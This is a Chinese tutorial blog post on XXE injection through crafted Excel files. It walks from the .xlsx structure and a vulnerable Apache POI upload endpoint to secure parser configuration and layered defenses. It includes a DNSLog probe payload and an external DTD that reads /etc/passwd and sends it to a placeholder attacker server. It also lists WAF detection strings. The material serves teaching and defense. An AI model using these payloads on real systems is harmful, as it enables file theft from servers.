Excel文件XXE攻击:从原理到防御的完整指南

📅 2026/7/3 12:34:29 👁️ 阅读次数 📝 编程学习
Excel文件XXE攻击:从原理到防御的完整指南

1. 项目概述:当日常办公工具成为攻击入口

你可能每天都在用Excel处理数据、制作报表,觉得它就是个再普通不过的办公软件。但你想过吗,一个看似无害的.xlsx文件,也可能成为攻击者撬开你系统大门的“特洛伊木马”。今天要聊的,就是利用Excel文件进行XXE攻击这件事。XXE,全称XML External Entity,翻译过来叫XML外部实体注入。这听起来有点技术,但简单说,就是攻击者利用XML解析器的特性,让它在处理文件时,去读取攻击者指定的外部资源,比如服务器上的敏感文件,甚至发起网络请求。

为什么Excel会和XXE扯上关系?这得从它的“芯”说起。我们熟悉的.xlsx格式,本质上是一个ZIP压缩包。你把它后缀名改成.zip,解压开来,里面是一堆XML文件,用来描述工作表、样式、字符串等等。当服务器端的程序(比如用Java的Apache POI库,或者Python的openpyxl)去读取这个Excel文件时,底层就是在解析这些XML。如果这个解析过程没有做好安全配置,攻击者就有机可乘了。我见过不少后台系统,为了方便用户上传数据,都集成了Excel导入功能,但开发者往往只关注业务逻辑是否正确,却忽略了文件解析本身可能带来的安全风险。这个攻击手法的核心,就是构造一个“披着Excel外衣”的恶意XML包,去欺骗服务器的解析器。

这篇文章适合谁看?如果你是后端开发者、安全工程师,或者负责系统运维,那必须得了解。它能帮你理解一个常见的功能点背后可能隐藏的致命漏洞。对于安全爱好者,这也是一个理解XXE原理和文件格式攻击的绝佳案例。我会从原理、环境搭建、攻击构造到防御,一步步拆开来讲,让你不仅知道“是什么”,更明白“为什么”和“怎么办”。我们不用任何复杂的黑客工具,就从最基础的文本编辑器和代码开始。

2. 核心原理深度拆解:Excel文件结构与XXE的碰撞

要理解这个攻击,你得先忘掉Excel的表格界面,深入到它的文件结构里去。一个.xlsx文件,解压后的典型目录结构是这样的:

[Content_Types].xml _rels/ .rels xl/ workbook.xml styles.xml sharedStrings.xml worksheets/ sheet1.xml ...

其中,[Content_Types].xml是一个全局性的文件,它定义了压缩包内其他各部分内容(Part)的媒体类型(Content-Type)。这个文件是攻击的一个关键入口点,因为它本身就是一个XML文件,且通常会被解析器较早地读取。

XXE漏洞的根源在于XML规范本身。XML标准允许在文档内部定义“实体”(Entity),你可以把它理解为一种变量或宏。例如,&lt;代表小于号<,这就是一个预定义好的内部实体。而“外部实体”(External Entity)则允许XML处理器从外部系统(如本地文件、远程URL)加载内容。攻击者正是利用了这一点。

攻击链条是如何形成的?

  1. 构造阶段:攻击者创建一个正常的Excel文件,然后解压,找到并修改其中的XML文件(最常见的是[Content_Types].xmlxl/workbook.xml),插入恶意的外部实体声明。
  2. 上传阶段:用户将这个恶意Excel文件上传到目标Web应用。
  3. 解析阶段:服务器端应用使用XML解析库(如Java的DocumentBuilderFactory、Python的lxml.etree)来处理Excel文件中的XML内容。
  4. 触发阶段:如果解析器未禁用外部实体解析(默认情况下,很多解析器是启用的!),它就会按照恶意XML中的指示,去访问指定的外部资源。
  5. 利用阶段:根据攻击者的意图,可能造成以下后果:
    • 文件读取:读取服务器上的/etc/passwdC:\Windows\win.ini或应用配置文件。
    • 内网探测:让服务器向内部网络地址发起HTTP请求,根据响应判断服务是否存在(SSRF,服务器端请求伪造)。
    • 拒绝服务:通过加载一个巨大的外部实体(如/dev/random)耗尽服务器资源。
    • 远程代码执行:在特定条件下,结合其他漏洞实现更严重的攻击。

注意:这里必须强调,所有讨论和演示都应在完全受控的、合法的测试环境中进行,例如你自己搭建的虚拟机或获得明确授权的靶场。任何对未授权系统的测试都是非法且不道德的。

为什么这个攻击容易成功?因为开发者有一个常见的思维盲区:他们认为用户上传的是“Excel数据”,所以只需要关注单元格里的内容是否合法。但实际上,服务器接收并处理的是一个“复合文档格式”,安全责任落在了XML解析器这个底层组件上。如果解析器的配置没跟上,整个应用的安全防线就出现了一个缺口。

3. 测试环境搭建与工具准备

纸上谈兵终觉浅,我们动手搭一个环境来验证。这个环境完全是为了学习和理解防御原理,请务必在隔离的虚拟机或本地开发机上进行。

3.1 后端服务搭建(以Spring Boot为例)

我们模拟一个最常见的场景:一个提供Excel数据导入功能的Spring Boot Web应用。

首先,用Spring Initializr创建一个新项目,依赖选择:Spring Web,Spring Boot DevTools。然后,在pom.xml中添加Apache POI依赖,这是Java处理Office文档最常用的库。

<dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>5.2.3</version> <!-- 使用较新版本 --> </dependency>

创建一个简单的控制器,用于处理文件上传:

import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import java.io.InputStream; @RestController @RequestMapping("/api/excel") public class ExcelImportController { @PostMapping("/upload") public String uploadExcel(@RequestParam("file") MultipartFile file) { // 这是一个存在漏洞的解析方法 try (InputStream is = file.getInputStream()) { Workbook workbook = new XSSFWorkbook(is); // 关键点:这里直接解析输入流 Sheet sheet = workbook.getSheetAt(0); // ... 假设这里有一些读取单元格数据的业务逻辑 ... return "文件解析成功,共读取了 " + sheet.getPhysicalNumberOfRows() + " 行数据。"; } catch (Exception e) { return "文件解析失败: " + e.getMessage(); } } }

这段代码的问题在于,new XSSFWorkbook(is)这行代码,在底层会解析Excel文件内部的XML。如果Apache POI底层使用的XML解析器(比如默认的Java DOM解析器)没有进行安全配置,那么嵌入在Excel文件中的XXE攻击载荷就会被触发。

3.2 攻击辅助工具:DNSLog平台

在真实攻击中,攻击者需要一种“带外”(Out-of-Band)的方式来确认漏洞是否存在,并接收数据。因为直接读取文件内容可能无法在HTTP响应中回显。DNSLog就是一种常用的技术。它的原理是,让存在漏洞的服务器去解析一个攻击者控制的特殊域名(如xxx.dnslog.cn),DNS查询记录会被平台记录下来,从而证明服务器确实发起了对外请求。

你可以使用一些公开的DNSLog服务(如dnslog.cn,ceye.io)来获取一个临时子域名。我们后续会用它来验证漏洞是否可被触发。

3.3 文件构造工具

你只需要两样东西:

  1. 一个文本编辑器:如VS Code、Notepad++,用于修改XML文件。
  2. 压缩/解压工具:系统自带的或7-Zip即可。因为.xlsx就是zip格式。

环境准备好后,我们的攻击面就很清晰了:一个使用默认配置解析Excel的上传接口。

4. 恶意Excel文件构造实战

现在,我们来一步步“制作”一个能触发XXE的Excel文件。请记住,整个过程就像在修改一个网页的HTML源代码,只不过这个“网页”被打包在了Excel里。

4.1 创建基础文件并解包

首先,用Excel或WPS创建一个最简单的表格,保存为“test.xlsx”。然后,把文件后缀名改为“test.zip”,右键解压到一个文件夹(比如test_exploit)里。

4.2 定位并修改关键XML文件

解压后,找到根目录下的[Content_Types].xml文件。用文本编辑器打开它,你会看到类似下面的内容:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> ... </Types>

我们要在这个XML文件的顶部,<Types>标签之前,插入我们的XXE载荷。一个经典的用于探测的载荷如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE Types [ <!ENTITY % remote SYSTEM "http://你的子域名.dnslog.cn/xxe_test"> %remote; ]> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <!-- 原有内容保持不变 --> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> ... </Types>

这个载荷做了什么?

  • <!ENTITY % remote ...>:定义了一个名为remote的参数实体,它的值是后面那个URL。
  • %remote;:引用了这个参数实体。当XML解析器处理到这里时,它会尝试去获取http://你的子域名.dnslog.cn/xxe_test这个资源。

4.3 重新打包为Excel

保存修改后的[Content_Types].xml文件。然后,选中test_exploit文件夹里的所有文件和文件夹,将它们压缩成一个ZIP文件,注意压缩格式选择ZIP,压缩级别无所谓。最后,将这个新生成的ZIP文件的后缀名从.zip改回.xlsx。这样,一个“内嵌”了XXE探测载荷的Excel文件就制作完成了。

实操心得:在修改XML时,务必保持XML格式的良好性(Well-Formed)。一个多余的空格或错误的标签闭合都可能导致文件损坏,Excel打不开,服务器也解析失败。建议先用在线XML校验工具检查一下修改后的文件。另外,[Content_Types].xml文件名两边的方括号[]在某些操作系统下需要特殊处理,在命令行中操作时要注意转义或使用引号包裹。

5. 攻击验证与漏洞利用演示

文件做好了,我们来验证它是否有效。

5.1 第一阶段:漏洞存在性确认

  1. 打开你的DNSLog平台,获取一个子域名,例如abc123.dnslog.cn
  2. 将上面恶意Excel文件载荷中的URL替换成http://abc123.dnslog.cn/poi_xxe
  3. 启动我们刚才搭建的Spring Boot应用。
  4. 使用Postman、cURL或者任何一个可以发送HTTP请求的工具,向http://localhost:8080/api/excel/upload发送一个POST请求,表单字段为file,上传我们制作的恶意Excel文件。
  5. 观察应用返回。如果返回“文件解析失败”或类似的错误(因为我们的文件除了XXE载荷没有有效数据),这可能是正常的。
  6. 关键步骤:刷新你的DNSLog平台页面。如果平台上出现了来自你服务器IP的对abc123.dnslog.cn的DNS查询记录,那么恭喜(或者说糟糕),漏洞确实存在!这证明服务器的XML解析器在处理我们上传的Excel文件时,真的去访问了那个外部URL。

这个过程被称为“盲XXE”探测,因为攻击者无法直接从HTTP响应中看到结果,但通过带外信道(DNSLog)确认了漏洞。

5.2 第二阶段:利用漏洞读取敏感文件

仅仅探测不够,攻击者想要数据。我们需要升级我们的载荷。直接读取文件并回显有时很困难,我们可以利用“外部DTD”的技巧。这个技巧的原理是,让存在漏洞的服务器去加载一个攻击者放在公网服务器上的DTD文件,这个DTD文件里定义了如何把目标文件的内容发送出来。

假设我们想读取服务器上的/etc/passwd文件(Linux系统)或C:\Windows\win.ini(Windows系统)。

首先,我们需要一个公网可访问的Web服务器,用来存放恶意的DTD文件。你可以用一台VPS,或者使用一些临时的网络存储服务(但要注意内容可能被审查)。在服务器上创建一个文件,比如evil.dtd,内容如下:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://你的接收服务器/leak?data=%file;'>"> %eval; %exfil;

这个DTD做了几件事:

  1. 定义实体%file,其内容是file:///etc/passwd文件的内容。
  2. 定义实体%eval,其内部又定义了一个实体%exfil,这个实体会向攻击者的服务器发起一个HTTP请求,并将%file的内容作为URL参数data的值发送出去。
  3. 最后引用%eval%exfil来触发整个链条。

然后,我们修改恶意Excel文件中的[Content_Types].xml,使用这个外部DTD:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE Types [ <!ENTITY % remote SYSTEM "http://你的公网服务器/evil.dtd"> %remote; ]> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <!-- 原有内容 --> </Types>

重新打包成Excel并上传。如果漏洞存在且网络可达,你的公网服务器(需要在/leak这个路径有日志记录功能)就会收到一个GET请求,URL中的data参数后面就是一长串Base64编码(因为URL中不能直接传特殊字符,浏览器或解析器通常会编码)的/etc/passwd文件内容。

5.3 利用的变种与限制

  • 读取Windows文件:将DTD中的路径改为file:///C:/Windows/win.ini。注意Windows文件路径的写法。
  • 无回显场景:如果目标服务器出不了网(无法访问外部DTD),那么利用难度会大大增加,但并非不可能。有时可以通过报错信息差异、延时(利用http://靶机/?a=&b=这种请求的响应时间)来进行盲注,但这需要更复杂的技巧和运气。
  • Java特定限制:在Java环境中,由于安全管理器(Security Manager)和XML解析器的默认行为,直接读取文件内容可能受到限制,或者读取到的内容可能因为包含换行符等而被截断。这时需要更精巧的DTD构造,比如使用FTP协议、利用CDATA标签包裹等。

重要警告:再次强调,上述所有利用演示步骤,必须在你自己拥有完全控制权的实验环境中进行。在实际工作中,发现此类漏洞应立即报告给相关团队进行修复,绝不可用于未授权的测试。

6. 漏洞根因分析与安全配置

攻击成功了,那问题到底出在哪?根本原因在于XML解析器的默认配置是不安全的。以Java中最常用的DocumentBuilderFactory为例,Apache POI在底层可能会用到它。

不安全的解析代码通常是这样的:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // 危险!

这段代码没有对解析器做任何安全设置。DocumentBuilderFactory默认是支持外部实体解析的,这就给XXE开了绿灯。

6.1 安全的配置方式

修复的方法就是显式地禁用这些危险功能。以下是在Java中配置安全XML解析的通用方法:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 关键安全配置开始 String FEATURE = null; try { // 1. 禁用外部通用实体 FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); // 2. 禁用外部参数实体 FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); // 3. 启用安全处理模式(针对某些解析器) FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing"; dbf.setFeature(FEATURE, true); // 4. 禁用DTDs加载(最彻底的方式) dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); } catch (ParserConfigurationException e) { // 如果某些特性不支持,记录日志并尝试其他方式 // 但至少必须禁用DTD } // 如果无法彻底禁用DTD(比如业务需要),则至少设置实体解析器为空或安全的 dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // 不展开实体引用 // 也可以设置一个空的EntityResolver,忽略所有外部实体 dbf.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader(""))); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // 现在安全了

6.2 针对Apache POI的修复

对于使用Apache POI的场景,问题在于POI内部使用的解析器。从POI 3.8版本开始,它提供了一种方式来设置安全的XML解析器。更推荐的做法是,升级到最新版本的POI(如5.x),因为新版本通常会在内部使用更安全的默认配置或提供明确的设置接口。

你可以通过设置系统属性来强制POI使用一个安全的XML解析器:

// 在应用启动时设置 System.setProperty("javax.xml.parsers.DocumentBuilderFactory", "com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl"); // 但更好的方式是直接配置你使用的解析器工厂,如上文所示。

最稳妥的办法是,在解析用户上传的Excel文件之前,如果业务允许,对文件内容进行预处理或使用“沙箱”环境进行解析。但核心还是配置好底层的XML解析器

6.3 其他语言和库的防护

  • Python (openpyxl / pandas)openpyxl本身声称对XXE免疫,因为它使用自己的XML解析器并忽略DOCTYPE声明。但依赖的底层库(如lxml)如果配置不当也可能有问题。使用lxml时,应使用lxml.etree.XMLParser(resolve_entities=False)
  • .NET (EPPlus, NPOI):确保使用的XML读写器(如XmlReader)设置了ProhibitDtd=trueDtdProcessing = DtdProcessing.Prohibit
  • PHP (PHPExcel / PhpSpreadsheet):确保libxml_disable_entity_loader(true);在解析前被调用。

7. 防御体系构建与最佳实践

修复一个解析器配置只是第一步。要系统性地防御此类攻击,需要在软件开发生命周期的多个环节建立防线。

7.1 开发阶段:安全编码与依赖管理

  1. 安全基线:在项目脚手架或公共工具类中,提供经过安全加固的XML解析工具方法,要求所有开发者统一使用。
  2. 依赖扫描:使用OWASP Dependency-Check、Snyk等工具定期扫描项目依赖(如POI、DOM4J、JDOM等),确保使用的第三方库没有已知的XXE相关漏洞。
  3. 代码审计:在代码审查中,将XML解析、文件上传(尤其是Office、PDF等复合文档)作为重点检查项。审查是否有直接使用DocumentBuilderFactory.newInstance()而未配置的情况。
  4. 使用更安全的替代库:对于只需要读取Excel数据的场景,可以考虑使用一些声明不支持DTD/Entity的轻量级库,或者使用纯文本解析CSV格式(如果业务允许)。

7.2 运维与部署阶段:纵深防御

  1. WAF(Web应用防火墙)规则:配置WAF规则,检测上传文件中是否包含<!DOCTYPE<!ENTITYSYSTEMPUBLIC等XXE特征字符串。但这只是一种缓解措施,聪明的攻击者可能会进行编码、混淆来绕过。
  2. 文件类型校验:不要仅依赖文件后缀名(.xlsx)。应在服务器端校验文件的魔数(Magic Number)或内部结构。一个真正的.xlsx文件解压后必然有特定的目录和文件结构。可以进行简单的预检:尝试解压,检查是否存在[Content_Types].xmlxl/目录。
  3. 内容过滤与消毒:在上传后、解析前,可以对文件内容进行“消毒”。例如,使用一个安全的解析器先解析一遍,移除或禁用所有DOCTYPE和ENTITY声明,然后再将“干净”的XML交给业务解析器处理。但这需要较高的性能开销和复杂度。
  4. 运行环境隔离:将文件解析服务部署在独立的、网络受限的容器或沙箱中,限制其访问内网和外部网络的能力。即使被攻破,影响范围也有限。
  5. 最小权限原则:运行解析服务的操作系统账户,应具有尽可能低的权限,不能读取应用配置文件之外的敏感系统文件。

7.3 安全测试与监控

  1. 自动化安全测试:将XXE测试用例纳入CI/CD流水线。可以使用专门的漏洞扫描工具(如Burp Suite Professional的Active Scan)或编写自定义脚本,自动上传构造的恶意Excel文件,检测服务响应是否异常(如延迟、错误信息变化)或是否产生外部网络请求(通过监控测试环境的出站流量)。
  2. 入侵检测与日志审计:监控服务器上XML解析相关的错误日志。大量解析错误或包含“ENTITY”、“External DTD”等关键词的日志,可能是攻击尝试的迹象。同时,监控服务器进程是否异常访问/etc/passwd等敏感文件路径或向陌生域名发起DNS/HTTP请求。

防御XXE不是一个开关,而是一个体系。从安全的默认配置开始,在代码层堵住漏洞,再通过运维手段增加攻击成本,最后用监控来发现漏网之鱼。对于Excel导入这种常见功能,下次在开发时,不妨把“检查XML解析器配置”加到你的代码审查清单里。